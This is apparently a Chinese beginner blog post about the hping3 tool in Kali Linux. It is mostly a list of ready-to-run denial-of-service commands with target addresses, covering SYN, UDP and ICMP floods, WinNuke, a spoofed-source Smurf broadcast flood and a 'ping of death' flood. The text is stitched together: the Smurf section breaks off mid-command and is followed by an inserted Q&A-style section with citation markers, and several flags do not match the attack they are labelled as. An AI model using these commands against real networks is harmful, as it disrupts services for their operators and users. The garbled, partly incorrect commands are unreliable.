菜鸟kali实战之hping3

本文介绍了Kali Linux中hping3工具的使用,包括TCP SYN Flood、UDP Flood、ICMP Flood、Winnuke、Smurf和Land攻击等DOS攻击方法。此外,还提到了hping3的各种参数选项及其在网络安全测试中的应用。

Hping百度百科
Hping是一个命令行下使用的TCP/IP数据包组装/分析工具,其命令模式很像Unix下的ping命令,但是它不是只能发送ICMP回应请求,它还可以支持TCP、UDP、ICMP和RAW-IP协议,它有一个路由跟踪模式,能够在两个相互包含的通道之间传送文件。Hping常被用于检测网络和主机,其功能非常强大,可在多种操作系统下运行,如Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows。

DOS攻击
1.tcp syn flood 攻击
sudo hping3 192.168.200.1 -p 631 -P --flood
2.udp flood 攻击
sudo hping3 192.168.200.1 -p 631 -S --flood -2
3.icmp flood 攻击
sudo hping3 192.168.200.1 -p 631 -S --flood -1
4.winnuke 攻击
sudo hping3 -U 192.168.200.1 -p 139
注意事项: winnuke攻击的端口不仅是139端口,还有“138、137、 113、 53”等端口,
因此在测试时要注意将所有端口都覆盖到,关键一点是winnuke攻击特征为“flag=URG”,
因此不能以端口为特征来检测。

5.smurf 攻击
hping3 -1 -a 192.168.0.1 192.168.0.255
一个简单的Smurf攻击原理就是:通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。 最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞。它比ping of death洪水的流量高出1或2个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。
第二种为复杂点的攻击,即伪装成被攻击的地址发送信息到被攻击地址的广播地址,如:
#hping3 -1 -a 192

### 使用 hping3Kali Linux 上实现死亡之 Ping 攻击 死亡之 Ping(Ping of Death)是一种利用 IP 数据包大小限制的拒绝服务攻击。正常情况下,IP 数据包的最大大小为 65,535 字节,而死亡之 Ping 攻击通过发送超过此限制的超大数据包来使目标系统崩溃或停止响应。尽管现代操作系统通常已经修补了这一漏洞,但了解其原理和实现方法仍然有助于理解网络安全的基础知识。 在 Kali Linux 中,`hping3` 是一个功能强大的工具,可以用来发送自定义 TCP/IP 数据包[^4]。以下是如何使用 `hping3` 模拟死亡之 Ping 攻击的教程: #### 实现步骤 1. **安装 hping3** 如果尚未安装 `hping3`,可以通过以下命令安装: ```bash apt-get update apt-get install hping3 ``` 2. **构造超大数据包** 使用 `hping3` 的 `-d` 参数指定数据包大小,并通过 `--flood` 参数加速发送数据包。例如,以下命令将向目标主机发送大小为 65536 字节的数据包: ```bash hping3 --icmp -d 65536 --flood <目标IP> ``` - `--icmp`:指定协议类型为 ICMP。 - `-d 65536`:设置数据包大小为 65536 字节。 - `--flood`:以最快的速度发送数据包。 3. **注意事项** - 死亡之 Ping 攻击在现代系统中可能无效,因为大多数操作系统和防火墙已经修复了相关漏洞[^2]。 - 测试时应仅在受控环境中进行,避免对真实网络或系统造成影响[^3]。 - 攻击行为可能违反法律,请确保所有操作均在合法范围内进行。 #### 示例代码 以下是一个完整的命令示例: ```bash hping3 --icmp -d 65536 --flood 192.168.1.100 ``` 上述命令会向 IP 地址为 `192.168.1.100` 的目标发送超大数据包,模拟死亡之 Ping 攻击[^4]。 ### 相关理论 死亡之 Ping 攻击的核心在于利用目标系统无法正确处理超大 ICMP 数据包的缺陷。这种攻击可能导致目标系统内存溢出或崩溃。然而,由于现代系统的防护机制,此类攻击的成功率已大大降低[^1]。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值